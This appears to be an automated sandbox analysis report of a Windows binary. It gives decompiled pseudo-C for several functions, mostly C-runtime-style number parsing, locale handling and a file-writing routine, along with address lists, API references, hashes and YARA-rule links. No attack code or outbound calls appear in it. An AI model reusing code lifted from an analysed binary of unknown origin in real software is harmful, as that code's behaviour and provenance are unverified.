														__eflags = _t183 - 0x74;
														if(_t183 != 0x74) {
															goto L50;
														} else {
															_t184 = _v208 & 0x0000ffff;
															__eflags = _t184 - 0x41 - 0x19;
															if(_t184 - 0x41 <= 0x19) {
																_t184 = _t184 + 0x20;
																__eflags = _t184;
															}
															__eflags = _t184 - 0x66;
															if(_t184 != 0x66) {
																goto L50;
															} else {
																__eflags = _v206 - _t191;
																if(_v206 != _t191) {
																	goto L50;
																} else {
																	__eflags = _v204;
																	if(_v204 == 0) {
																		L53:
																		_t104 = 0xfde9;
																		L55:
																		_t192 = _t192 + 1;
																		_push(_t192);
																		 *_t153 = _t104 & 0x0000ffff;
																		_t149 = _v476;
																		_t106 = E00C8053C(_t149, 0x83, _t195);
																		_t198 = _t198 + 0x10;
																		__eflags = _t106;
																		if(_t106 != 0) {
																			goto L71;
																		} else {
																			_t176 =  &_v180;
																			_t191 = _t176 + 2;
																			do {
																				_t119 =  *_t176;
																				_t176 = _t176 + 2;
																				__eflags = _t119 - _v484;
																			} while (_t119 != _v484);
																			_t177 = _t176 - _t191;
																			__eflags = _t177;
																			_push((_t177 >> 1) + 1);
																			_push( &_v180);
																			goto L59;
																		}
																	} else {
																		goto L50;
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										_t133 = E00C79430(_t162);
										_t192 = _t192 + 1;
										_push(_t192);
										 *_t153 = _t133 & 0x0000ffff;
										_t149 = _v476;
										_t135 = E00C8053C(_t149, 0x83, _t195);
										_t198 = _t198 + 0x14;
										__eflags = _t135;
										if(_t135 != 0) {
											goto L71;
										} else {
											_push(_t192);
											_push(_t195);
											L59:
											E00C7806E( &_v512, _t195);
											goto L60;
										}
									}
								} else {
									_t149 = _v476;
									_push( &_v468);
									E00C78215(_t149, _t162, _t191, _t192, _t149, 0x83);
									_t185 =  &_v180;
									_t198 = _t198 + 0xc;
									_t191 = _t185 + 2;
									do {
										_t140 =  *_t185;
										_t185 = _t185 + 2;
										__eflags = _t140 - _v484;
									} while (_t140 != _v484);
									E00C780B2( &_v512, _t195,  &_v180, (_t185 - _t191 >> 1) + 1);
									_t192 = _t192 + 1;
									L60:
									__eflags =  *_t195;
									if( *_t195 == 0) {
										L64:
										__eflags = 0;
										 *_v480 = 0;
										goto L65;
									} else {
										__eflags = _v492 - 0x83;
										if(_v492 >= 0x83) {
											goto L64;
										} else {
											_push(_t192);
											_t129 = E00C8053C(_v480, 0x83, _t195);
											_t198 = _t198 + 0x10;
											__eflags = _t129;
											if(_t129 == 0) {
												goto L65;
											} else {
												goto L71;
											}
										}
									}
								}
							}
						} else {
							_t189 = _t195;
							_t144 = _t150;
							while(1) {
								_t191 =  *_t144;
								__eflags = _t191 -  *_t189;
								if(_t191 !=  *_t189) {
									break;
								}
								__eflags = _t191;
								if(_t191 == 0) {
									L13:
									_t145 = 0;
								} else {
									_t191 =  *((intOrPtr*)(_t144 + 2));
									__eflags = _t191 - _t189[0];
									if(_t191 != _t189[0]) {
										break;
									} else {
										_t144 = _t144 + 4;
										_t189 =  &(_t189[1]);
										__eflags = _t191;
										if(_t191 != 0) {
											continue;
										} else {
											goto L13;
										}
									}
								}
								L15:
								__eflags = _t145;
								if(_t145 == 0) {
									L65:
									 *_v488 =  *_v472;
									_t127 = E00C8040D(_v496, _a12, _t149);
									__eflags = _t127;
									if(_t127 != 0) {
										goto L71;
									} else {
										L68:
										E00C77E10( &_v512);
										goto L69;
									}
								} else {
									_t146 = _v480;
									_t160 = _t195;
									while(1) {
										_t191 =  *_t146;
										__eflags = _t191 -  *_t160;
										if(_t191 !=  *_t160) {
											break;
										}
										__eflags = _t191;
										if(_t191 == 0) {
											L21:
											_t147 = 0;
										} else {
											_t191 =  *((intOrPtr*)(_t146 + 2));
											__eflags = _t191 - _t160[0];
											if(_t191 != _t160[0]) {
												break;
											} else {
												_t146 = _t146 + 4;
												_t160 =  &(_t160[1]);
												__eflags = _t191;
												if(_t191 != 0) {
													continue;
												} else {
													goto L21;
												}
											}
										}
										L23:
										__eflags = _t147;
										if(_t147 == 0) {
											goto L65;
										} else {
											goto L24;
										}
										goto L84;
									}
									asm("sbb eax, eax");
									_t147 = _t146 | 0x00000001;
									__eflags = _t147;
									goto L23;
								}
								goto L84;
							}
							asm("sbb eax, eax");
							_t145 = _t144 | 0x00000001;
							__eflags = _t145;
							goto L15;
						}
					} else {
						_t148 = E00C8040D(_t149, _a12, 0xc9afb0);
						if(_t148 != 0) {
							L71:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00C7B914();
							asm("int3");
							_push(8);
							_push(0xca1610);
							_t109 = E00C57070(_t149, _t192, _t195);
							_t196 = _a4;
							__eflags = _t196;
							if(_t196 != 0) {
								_t110 = E00C7BB01(5);
								_v8 = _v8 & 0x00000000;
								__eflags =  *(_t196 + 4);
								if( *(_t196 + 4) != 0) {
									__eflags = _t110 | 0xffffffff;
									asm("lock xadd [ecx], eax");
									if((_t110 | 0xffffffff) == 0) {
										__eflags =  *(_t196 + 4) - 0xca3398;
										if( *(_t196 + 4) != 0xca3398) {
											E00C7CA6E( *(_t196 + 4));
										}
									}
								}
								_v8 = 0xfffffffe;
								E00C7893D();
								__eflags =  *_t196;
								if( *_t196 != 0) {
									E00C7BB01(4);
									_v8 = 1;
									E00C850D1( *_t196);
									_t114 =  *_t196;
									__eflags = _t114;
									if(_t114 != 0) {
										__eflags =  *(_t114 + 0xc);
										if( *(_t114 + 0xc) == 0) {
											__eflags = _t114 - 0xca30e8;
											if(_t114 != 0xca30e8) {
												E00C84F06(_t114);
											}
										}
									}
									_v8 = 0xfffffffe;
									E00C78949();
								}
								_t109 = E00C7CA6E(_t196);
							}
							 *[fs:0x0] = _v20;
							return _t109;
						} else {
							 *_v488 = _t148;
							L69:
							_t86 = _t149;
							goto L70;
						}
					}
				}
				L84:
			}

0x00c784ca
0x00c784d5
0x00c784dc
0x00c784e3
0x00c784e7
0x00c784ea
0x00c784f0
0x00c784f2
0x00c784f9
0x00c784fe
0x00c78874
0x00c78882
0x00c78504
0x00c78508
0x00c7850e
0x00c78541
0x00c78548
0x00c7854b
0x00c78551
0x00c78551
0x00c78557
0x00c7855a
0x00c78560
0x00c7856d
0x00c78572
0x00c78574
0x00c78574
0x00c78576
0x00c78579
0x00c78579
0x00c7857c
0x00c7857f
0x00c7857f
0x00c78586
0x00c78588
0x00c7858e
0x00c78594
0x00c78608
0x00c78608
0x00c7860f
0x00c78619
0x00c7861c
0x00c78622
0x00c78623
0x00c78625
0x00c786a0
0x00000000
0x00c78627
0x00c78627
0x00c7862d
0x00c7862f
0x00c78635
0x00c78636
0x00c78637
0x00c78638
0x00c78641
0x00c7863a
0x00c7863a
0x00c7863a
0x00c78646
0x00c78649
0x00c7864b
0x00c786a6
0x00c786a7
0x00c786ac
0x00c786ad
0x00c786af
0x00c786e7
0x00c786e8
0x00c786ee
0x00c786ef
0x00c786f1
0x00c78863
0x00c78863
0x00c78865
0x00000000
0x00c786f7
0x00c786fe
0x00c78703
0x00c78705
0x00000000
0x00c7870b
0x00c7870b
0x00c78712
0x00c78715
0x00c787a9
0x00000000
0x00c7871b
0x00c7871b
0x00c78721
0x00c78724
0x00c78726
0x00c78726
0x00c78726
0x00c7872b
0x00c7872c
0x00c7872f
0x00c78772
0x00c78772
0x00c7877a
0x00000000
0x00c78780
0x00c78780
0x00c78787
0x00000000
0x00c7878d
0x00c7878d
0x00c78795
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78795
0x00c78787
0x00c78731
0x00c78731
0x00c7873b
0x00c7873e
0x00c78740
0x00c78740
0x00c78740
0x00c78743
0x00c78746
0x00000000
0x00c78748
0x00c78748
0x00c78752
0x00c78755
0x00c78757
0x00c78757
0x00c78757
0x00c7875a
0x00c7875d
0x00000000
0x00c7875f
0x00c7875f
0x00c78766
0x00000000
0x00c78768
0x00c78768
0x00c78770
0x00c7879b
0x00c7879b
0x00c787af
0x00c787af
0x00c787b3
0x00c787b5
0x00c787b7
0x00c787c3
0x00c787c8
0x00c787cb
0x00c787cd
0x00000000
0x00c787d3
0x00c787d3
0x00c787d9
0x00c787dc
0x00c787dc
0x00c787df
0x00c787e2
0x00c787e2
0x00c787eb
0x00c787eb
0x00c787f2
0x00c787f9
0x00000000
0x00c787f9
0x00000000
0x00000000
0x00000000
0x00c78770
0x00c78766
0x00c7875d
0x00c78746
0x00c7872f
0x00c78715
0x00c78705
0x00c786b1
0x00c786b1
0x00c786b6
0x00c786ba
0x00c786bc
0x00c786be
0x00c786ca
0x00c786cf
0x00c786d2
0x00c786d4
0x00000000
0x00c786da
0x00c786da
0x00c786db
0x00c787fa
0x00c78800
0x00000000
0x00c78800
0x00c786d4
0x00c7864d
0x00c7864d
0x00c78659
0x00c78660
0x00c78665
0x00c7866b
0x00c7866e
0x00c78671
0x00c78671
0x00c78674
0x00c78677
0x00c78677
0x00c78695
0x00c7869a
0x00c78805
0x00c78807
0x00c7880a
0x00c78830
0x00c78836
0x00c78838
0x00000000
0x00c7880c
0x00c78811
0x00c78817
0x00000000
0x00c78819
0x00c78819
0x00c78822
0x00c78827
0x00c7882a
0x00c7882c
0x00000000
0x00c7882e
0x00000000
0x00c7882e
0x00c7882c
0x00c78817
0x00c7880a
0x00c7864b
0x00c78596
0x00c78596
0x00c78598
0x00c7859a
0x00c7859a
0x00c7859d
0x00c785a0
0x00000000
0x00000000
0x00c785a2
0x00c785a5
0x00c785bc
0x00c785bc
0x00c785a7
0x00c785a7
0x00c785ab
0x00c785af
0x00000000
0x00c785b1
0x00c785b1
0x00c785b4
0x00c785b7
0x00c785ba
0x00000000
0x00000000
0x00000000
0x00000000
0x00c785ba
0x00c785af
0x00c785c5
0x00c785c5
0x00c785c7
0x00c7883b
0x00c78853
0x00c78855
0x00c7885d
0x00c7885f
0x00000000
0x00c78861
0x00c78867
0x00c7886d
0x00000000
0x00c7886d
0x00c785cd
0x00c785cd
0x00c785d3
0x00c785d5
0x00c785d5
0x00c785d8
0x00c785db
0x00000000
0x00000000
0x00c785dd
0x00c785e0
0x00c785f7
0x00c785f7
0x00c785e2
0x00c785e2
0x00c785e6
0x00c785ea
0x00000000
0x00c785ec
0x00c785ec
0x00c785ef
0x00c785f2
0x00c785f5
0x00000000
0x00000000
0x00000000
0x00000000
0x00c785f5
0x00c785ea
0x00c78600
0x00c78600
0x00c78602
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00c78602
0x00c785fb
0x00c785fd
0x00c785fd
0x00000000
0x00c785fd
0x00000000
0x00c785c7
0x00c785c0
0x00c785c2
0x00c785c2
0x00000000
0x00c785c2
0x00c78516
0x00c7851f
0x00c78529
0x00c78883
0x00c78885
0x00c78886
0x00c78887
0x00c78888
0x00c78889
0x00c7888a
0x00c7888f
0x00c78890
0x00c78892
0x00c78897
0x00c7889c
0x00c7889f
0x00c788a1
0x00c788a9
0x00c788af
0x00c788b6
0x00c788b8
0x00c788ba
0x00c788bd
0x00c788c1
0x00c788c3
0x00c788ca
0x00c788cf
0x00c788d4
0x00c788ca
0x00c788c1
0x00c788d5
0x00c788dc
0x00c788e1
0x00c788e4
0x00c788e8
0x00c788ee
0x00c788f7
0x00c788fd
0x00c788ff
0x00c78901
0x00c78903
0x00c78907
0x00c78909
0x00c7890e
0x00c78911
0x00c78916
0x00c7890e
0x00c78907
0x00c78917
0x00c7891e
0x00c7891e
0x00c78924
0x00c78929
0x00c7892d
0x00c78939
0x00c7852f
0x00c78535
0x00c78872
0x00c78872
0x00000000
0x00c78872
0x00c78529
0x00c7850e
0x00000000

APIs

_free.LIBCMT ref: 00C788CF
_free.LIBCMT ref: 00C78924

Strings

-, xrefs: 00C78772

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID: -
API String ID: 269201875-2547889144
Opcode ID: c0598c4401938a41b76b650f9786be702e2fa0ffd67bd818d09db88aab656782
Instruction ID: c81781165a29dfe0b7810ee8eb33ece1363432ed204d5acc31edb154eebad9d7
Opcode Fuzzy Hash: c0598c4401938a41b76b650f9786be702e2fa0ffd67bd818d09db88aab656782
Instruction Fuzzy Hash: B3C114719402159ADF24AF64CC89BFE73B4EF14354F5480AAEA1DA7181EF309F89CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C62765, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 263
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00C62765(intOrPtr _a4, signed int _a8, intOrPtr* _a12, signed int _a16, signed char _a20) {
				signed char _v5;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed char _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v60;
				char _v64;
				void* __ebx;
				void* __edi;
				intOrPtr* _t82;
				signed int _t84;
				signed int _t86;
				signed int _t90;
				signed int _t91;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed char _t100;
				signed int _t102;
				signed int _t103;
				signed char _t114;
				signed int _t116;
				void* _t117;
				intOrPtr* _t119;
				signed int _t128;
				signed char _t129;
				signed char _t131;
				signed int _t135;
				signed int _t136;
				signed int _t137;
				signed int _t138;
				void* _t144;
				signed int _t146;
				intOrPtr* _t147;
				signed int _t149;
				signed int _t150;
				void* _t151;

				if(E00C63580( &_a8) == 0) {
					L5:
					_t128 = 0;
					_t150 = 0;
					L6:
					_t82 = _a12;
					if(_t82 != 0) {
						 *_t82 = _a8;
					}
					return _t128;
				}
				_t84 = _a16;
				if(_t84 == 0) {
					L9:
					E00C6199B( &_v64, _t144, _a4);
					_t86 = _a8;
					_t149 = 0;
					_v20 = 0;
					_t150 = 0;
					_v48 = _t86;
					L11:
					_t129 =  *_t86;
					_a8 = _t86 + 1;
					_v16 = _t129;
					_v5 = _t129;
					_t90 = E00C637FE(_t129, _t149, _t129 & 0x000000ff, 8,  &_v60);
					_t151 = _t151 + 0xc;
					__eflags = _t90;
					if(_t90 != 0) {
						_t86 = _a8;
						goto L11;
					}
					_t91 = _a20 & 0x000000ff;
					_v12 = _t91;
					__eflags = _t129 - 0x2d;
					if(_t129 != 0x2d) {
						__eflags = _t129 - 0x2b;
						if(_t129 != 0x2b) {
							_t146 = _a8;
							goto L17;
						}
						goto L15;
					} else {
						_v12 = _t91 | 0x00000002;
						L15:
						_t147 = _a8;
						_t129 =  *_t147;
						_t146 = _t147 + 1;
						_v5 = _t129;
						_v16 = _t129;
						_a8 = _t146;
						L17:
						_t135 = _a16;
						__eflags = _t135;
						if(_t135 == 0) {
							L19:
							__eflags = _t129 - 0x30 - 9;
							if(_t129 - 0x30 > 9) {
								__eflags = _t129 - 0x61 - 0x19;
								if(_t129 - 0x61 > 0x19) {
									_t97 = _t129 - 0x41;
									__eflags = _t97 - 0x19;
									if(_t97 > 0x19) {
										_t98 = _t97 | 0xffffffff;
										__eflags = _t98;
									} else {
										_t98 = _t129 + 0xffffffc9;
									}
								} else {
									_t98 = _t129 + 0xffffffa9;
								}
							} else {
								_t98 = _t129 + 0xffffffd0;
							}
							__eflags = _t98;
							if(_t98 == 0) {
								_t99 =  *_t146;
								_t146 = _t146 + 1;
								_v28 = _t99;
								_a8 = _t146;
								__eflags = _t99 - 0x78;
								if(_t99 == 0x78) {
									L35:
									__eflags = _t135;
									if(_t135 == 0) {
										_a16 = 0x10;
									}
									_t100 =  *_t146;
									_v5 = _t100;
									_v16 = _t100;
									_a8 = _t146 + 1;
									L34:
									_t102 = _a16;
									L39:
									asm("cdq");
									_push(_t129);
									_t136 = _t146;
									_v44 = _t102;
									_v40 = _t136;
									_t103 = E00C95980(0xffffffff, 0xffffffff, _t102, _t136);
									_v32 = _t129;
									_t131 = _v12;
									_v36 = _t136;
									_t137 = _v5;
									_v24 = _t103;
									_v28 = _t146;
									while(1) {
										__eflags = _t137 - 0x30 - 9;
										if(_t137 - 0x30 > 9) {
											__eflags = _t137 - 0x61 - 0x19;
											if(_t137 - 0x61 > 0x19) {
												__eflags = _t137 - 0x41 - 0x19;
												if(_t137 - 0x41 > 0x19) {
													_t138 = _t137 | 0xffffffff;
													__eflags = _t138;
												} else {
													_t138 = _t137 + 0xffffffc9;
												}
											} else {
												_t138 = _t137 + 0xffffffa9;
											}
										} else {
											_t138 = _t137 + 0xffffffd0;
										}
										_v12 = _t138;
										__eflags = _t138 - 0xffffffff;
										if(_t138 == 0xffffffff) {
											break;
										}
										__eflags = _t138 - _a16;
										if(_t138 >= _a16) {
											break;
										}
										_t116 = _v20;
										_t131 = _t131 | 0x00000008;
										__eflags = _t150 - _t146;
										if(__eflags < 0) {
											L58:
											_v12 = _t138;
											L59:
											_t117 = E00C95A30(_v44, _v40, _t116, _t150);
											_t150 = _t146;
											_v20 = _t117 + _v12;
											asm("adc esi, edi");
											L60:
											_t119 = _a8;
											_t146 = _v28;
											_t137 =  *_t119;
											_v16 = _t137;
											_a8 = _t119 + 1;
											continue;
										}
										_t146 = _v24;
										if(__eflags > 0) {
											L52:
											__eflags = _t116 - _t146;
											if(_t116 != _t146) {
												L57:
												_t131 = _t131 | 0x00000004;
												goto L60;
											}
											__eflags = _t150 - _v28;
											if(_t150 != _v28) {
												goto L57;
											}
											__eflags = _t149 - _v32;
											if(__eflags < 0) {
												goto L59;
											}
											if(__eflags > 0) {
												goto L57;
											}
											__eflags = _t138 - _v36;
											if(_t138 <= _v36) {
												goto L59;
											}
											goto L57;
										}
										__eflags = _t116 - _t146;
										if(_t116 < _t146) {
											goto L58;
										}
										goto L52;
									}
									_v12 = _t131;
									E00C63529( &_a8, _v16);
									__eflags = _t131 & 0x00000008;
									if((_t131 & 0x00000008) != 0) {
										_t128 = _v20;
										__eflags = E00C61EC1(_v12, _t128, _t150);
										if(__eflags == 0) {
											__eflags = _v12 & 0x00000002;
											if((_v12 & 0x00000002) != 0) {
												_t128 =  ~_t128;
												asm("adc esi, edi");
												_t150 =  ~_t150;
											}
											L72:
											__eflags = _v52;
											if(_v52 != 0) {
												 *(_v64 + 0x350) =  *(_v64 + 0x350) & 0xfffffffd;
											}
											goto L6;
										}
										 *((intOrPtr*)(E00C61D29(__eflags))) = 0x22;
										_t114 = _v12;
										__eflags = _t114 & 0x00000001;
										if((_t114 & 0x00000001) != 0) {
											__eflags = _t114 & 0x00000002;
											if((_t114 & 0x00000002) == 0) {
												_t149 = _t149 | 0xffffffff;
												__eflags = _t149;
												_t150 = 0x7fffffff;
											} else {
												_t150 = 0x80000000;
											}
											L69:
											_t128 = _t149;
											goto L72;
										}
										_t128 = _t128 | 0xffffffff;
										_t150 = _t150 | 0xffffffff;
										goto L72;
									}
									_t150 = _t149;
									_a8 = _v48;
									goto L69;
								}
								__eflags = _t99 - 0x58;
								if(_t99 == 0x58) {
									goto L35;
								}
								__eflags = _t135;
								if(_t135 == 0) {
									_a16 = 8;
								}
								E00C63529( &_a8, _v28);
								goto L34;
							}
							__eflags = _t135;
							if(_t135 != 0) {
								L38:
								_t102 = _t135;
								goto L39;
							}
							_t102 = 0xa;
							_a16 = _t102;
							goto L39;
						}
						__eflags = _t135 - 0x10;
						if(_t135 != 0x10) {
							goto L38;
						}
						goto L19;
					}
				}
				if(_t84 < 2) {
					L4:
					 *((intOrPtr*)(E00C61D29(_t156))) = 0x16;
					E00C7B8E7();
					goto L5;
				}
				_t156 = _t84 - 0x24;
				if(_t84 <= 0x24) {
					goto L9;
				}
				goto L4;
			}

0x00c6277a
0x00c6279d
0x00c6279f
0x00c627a1
0x00c627a3
0x00c627a3
0x00c627a8
0x00c627ad
0x00c627ad
0x00c627b7
0x00c627b7
0x00c6277c
0x00c62781
0x00c627b8
0x00c627be
0x00c627c3
0x00c627c6
0x00c627c8
0x00c627cb
0x00c627cd
0x00c627d5
0x00c627d5
0x00c627d8
0x00c627e5
0x00c627e8
0x00c627eb
0x00c627f0
0x00c627f3
0x00c627f5
0x00c627d2
0x00000000
0x00c627d2
0x00c627f7
0x00c627fb
0x00c627fe
0x00c62801
0x00c6280b
0x00c6280e
0x00c62821
0x00000000
0x00c62821
0x00000000
0x00c62803
0x00c62806
0x00c62810
0x00c62810
0x00c62813
0x00c62815
0x00c62816
0x00c62819
0x00c6281c
0x00c62824
0x00c62824
0x00c62827
0x00c62829
0x00c62834
0x00c62838
0x00c6283a
0x00c62848
0x00c6284a
0x00c62856
0x00c62858
0x00c6285a
0x00c62864
0x00c62864
0x00c6285c
0x00c6285f
0x00c6285f
0x00c6284c
0x00c6284f
0x00c6284f
0x00c6283c
0x00c6283f
0x00c6283f
0x00c62867
0x00c62869
0x00c62877
0x00c62879
0x00c6287a
0x00c6287d
0x00c62880
0x00c62882
0x00c628a3
0x00c628a3
0x00c628a5
0x00c628a7
0x00c628a7
0x00c628ae
0x00c628b0
0x00c628b3
0x00c628b9
0x00c6289e
0x00c6289e
0x00c628c0
0x00c628c0
0x00c628c1
0x00c628c2
0x00c628c4
0x00c628cd
0x00c628d0
0x00c628d5
0x00c628da
0x00c628dd
0x00c628e0
0x00c628e3
0x00c628e6
0x00c628e9
0x00c628ed
0x00c628ef
0x00c628fd
0x00c628ff
0x00c6290d
0x00c6290f
0x00c62919
0x00c62919
0x00c62911
0x00c62914
0x00c62914
0x00c62901
0x00c62904
0x00c62904
0x00c628f1
0x00c628f4
0x00c628f4
0x00c6291c
0x00c6291f
0x00c62922
0x00000000
0x00000000
0x00c62924
0x00c62927
0x00000000
0x00000000
0x00c62929
0x00c6292c
0x00c6292f
0x00c62931
0x00c62956
0x00c62956
0x00c62959
0x00c62961
0x00c62969
0x00c6296b
0x00c6296e
0x00c62970
0x00c62970
0x00c62973
0x00c62976
0x00c62979
0x00c6297c
0x00000000
0x00c6297c
0x00c62933
0x00c62936
0x00c6293c
0x00c6293c
0x00c6293e
0x00c62951
0x00c62951
0x00000000
0x00c62951
0x00c62940
0x00c62943
0x00000000
0x00000000
0x00c62945
0x00c62948
0x00000000
0x00000000
0x00c6294a
0x00000000
0x00000000
0x00c6294c
0x00c6294f
0x00000000
0x00000000
0x00000000
0x00c6294f
0x00c62938
0x00c6293a
0x00000000
0x00000000
0x00000000
0x00c6293a
0x00c6298a
0x00c6298d
0x00c62992
0x00c62995
0x00c629a1
0x00c629b1
0x00c629b3
0x00c629e6
0x00c629ea
0x00c629ec
0x00c629ee
0x00c629f0
0x00c629f0
0x00c629f2
0x00c629f2
0x00c629f6
0x00c629ff
0x00c629ff
0x00000000
0x00c629f6
0x00c629ba
0x00c629c0
0x00c629c3
0x00c629c5
0x00c629cf
0x00c629d1
0x00c629da
0x00c629da
0x00c629dd
0x00c629d3
0x00c629d3
0x00c629d3
0x00c629e2
0x00c629e2
0x00000000
0x00c629e2
0x00c629c7
0x00c629ca
0x00000000
0x00c629ca
0x00c6299a
0x00c6299c
0x00000000
0x00c6299c
0x00c62884
0x00c62886
0x00000000
0x00000000
0x00c62888
0x00c6288a
0x00c6288c
0x00c6288c
0x00c62899
0x00000000
0x00c62899
0x00c6286b
0x00c6286d
0x00c628be
0x00c628be
0x00000000
0x00c628be
0x00c62871
0x00c62872
0x00000000
0x00c62872
0x00c6282b
0x00c6282e
0x00000000
0x00000000
0x00000000
0x00c6282e
0x00c62801
0x00c62786
0x00c6278d
0x00c62792
0x00c62798
0x00000000
0x00c62798
0x00c62788
0x00c6278b
0x00000000
0x00000000
0x00000000

APIs

__aulldvrm.LIBCMT ref: 00C628D0

Strings

-, xrefs: 00C627FE
+, xrefs: 00C6280B

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 9f4db71374f78b7d3cc81b11ccb905e9d264a0f7030505aea790ca5b1bbe2a95
Instruction ID: f3d0341a039c9fc20afaaf838fd0546c2f1750b8f540c35f702680008ed0d717
Opcode Fuzzy Hash: 9f4db71374f78b7d3cc81b11ccb905e9d264a0f7030505aea790ca5b1bbe2a95
Instruction Fuzzy Hash: E391E831D04A599EDF34CF69C8D06FDBBB1EF95320F18825AE8B1A72D1D2308A06DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C52890, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00C52890(intOrPtr _a4, signed short* _a8, intOrPtr _a12) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;

				if(_a8 == 0) {
					L3:
					_v8 = lstrlenW(L"@=");
					E00C56400(_t32, _a4, L"@=");
				} else {
					_t32 =  *_a8 & 0x0000ffff;
					if(( *_a8 & 0x0000ffff) == 0) {
						goto L3;
					} else {
						_v16 = E00C520E0(_a8, _a12,  &_v8);
						_push(_v8 + _v8 + 8);
						_v12 = E00C53330(_a8);
						_v8 = E00C54AB0(_v12, _v8 + 4, L"\"%s\"=", _v16);
						E00C56400(_v12, _a4, _v12);
					}
				}
				return _v8;
			}

0x00c5289a
0x00c52901
0x00c5290c
0x00c52918
0x00c5289c
0x00c5289f
0x00c528a4
0x00000000
0x00c528a6
0x00c528ba
0x00c528c4
0x00c528cd
0x00c528ec
0x00c528f7
0x00c528fc
0x00c528a4
0x00c52926

APIs

_swprintf.LIBCMTD ref: 00C528E4

Part of subcall function 00C54AB0: __vswprintf_s_l.LIBCONCRTD ref: 00C54ACE

Part of subcall function 00C56400: lstrlenW.KERNEL32(00C525C1,?,00000000,?,?,00C525C1,?,?), ref: 00C5640E
Part of subcall function 00C56400: WriteFile.KERNEL32(?,00C525C1,00000000,?,00C525C1,?,?), ref: 00C5641F

lstrlenW.KERNEL32(00C9945C), ref: 00C52906

Strings

"%s"=, xrefs: 00C528D4

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$FileWrite__vswprintf_s_l_swprintf
String ID: "%s"=
API String ID: 240206160-1134692429
Opcode ID: 026dbe0570c656841035cfaf99e5f92f32f9d28ca2fdc4cd9ddd2566a0aa7e53
Instruction ID: 7ba8e3bbca01bc01aa0c0a54b651fa623e4620f39cb0658ffd032f8515059547
Opcode Fuzzy Hash: 026dbe0570c656841035cfaf99e5f92f32f9d28ca2fdc4cd9ddd2566a0aa7e53
Instruction Fuzzy Hash: F31170B9D00208BBCF00DFD8D8459AEB7B8EF48305F108168FC1997201E631EB94DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00C52F40, Relevance: 5.2, APIs: 4, Instructions: 195
stringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00C52F40(WCHAR* _a4, signed int _a8, signed int _a12, WCHAR* _a16) {
				signed int _v5;
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				WCHAR* _v20;
				WCHAR* _v24;
				signed int _v28;
				WCHAR* _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				int _v52;
				signed int _v56;

				_v24 = 0;
				 *_a16 = 0;
				if(_a4 == 0) {
					_a4 = 0xc9996c;
				}
				_v40 = _a8;
				if(_v40 > 7) {
					L51:
					_push(_a4);
					_push(_a8);
					_push(0x71);
					E00C53610();
					goto L52;
				} else {
					switch( *((intOrPtr*)(_v40 * 4 +  &M00C53308))) {
						case 0:
							_t173 = lstrlenW(_a4);
							_t13 = 2 + _t173; // 0x2
							 *_a16 = _t173 + _t13;
							_push( *_a16);
							_v24 = E00C53330( *_a16);
							lstrcpyW(_v24, _a4);
							goto L52;
						case 1:
							_v28 = 0;
							_v32 = 0;
							__eax = _a4;
							_v36 = lstrlenW(_a4);
							__eax = _v36;
							__eax = _v36 & 0x80000001;
							__eflags = __eax;
							if(__eax < 0) {
								__eax = __eax - 1;
								__eax = __eax | 0xfffffffe;
								__eax = __eax + 1;
								__eflags = __eax;
							}
							__eax = __eax + _v36;
							asm("cdq");
							__eax = __eax - __edx;
							__eax = __eax >> 1;
							__ecx = _a16;
							 *__ecx = __eax;
							__edx = _a16;
							__eax =  *_a16;
							_push( *_a16);
							__eax = E00C53330(__ecx);
							__esp = __esp + 4;
							_v24 = __eax;
							__ecx = _v36;
							__ecx = _v36 & 0x80000001;
							__eflags = __ecx;
							if(__ecx < 0) {
								__ecx = __ecx - 1;
								__ecx = __ecx | 0xfffffffe;
								__ecx =  &(__ecx[0]);
								__eflags = __ecx;
							}
							__eflags = __ecx;
							if(__ecx == 0) {
								L22:
								while(1) {
									_v28 = _v28 + 1;
									__eflags = _v28 + 1 - _v36;
									if(_v28 + 1 >= _v36) {
										break;
									}
									__ecx = _v28;
									__edx = _a4;
									_a4[_v28] & 0x0000ffff = E00C53370(_a4[_v28] & 0x0000ffff);
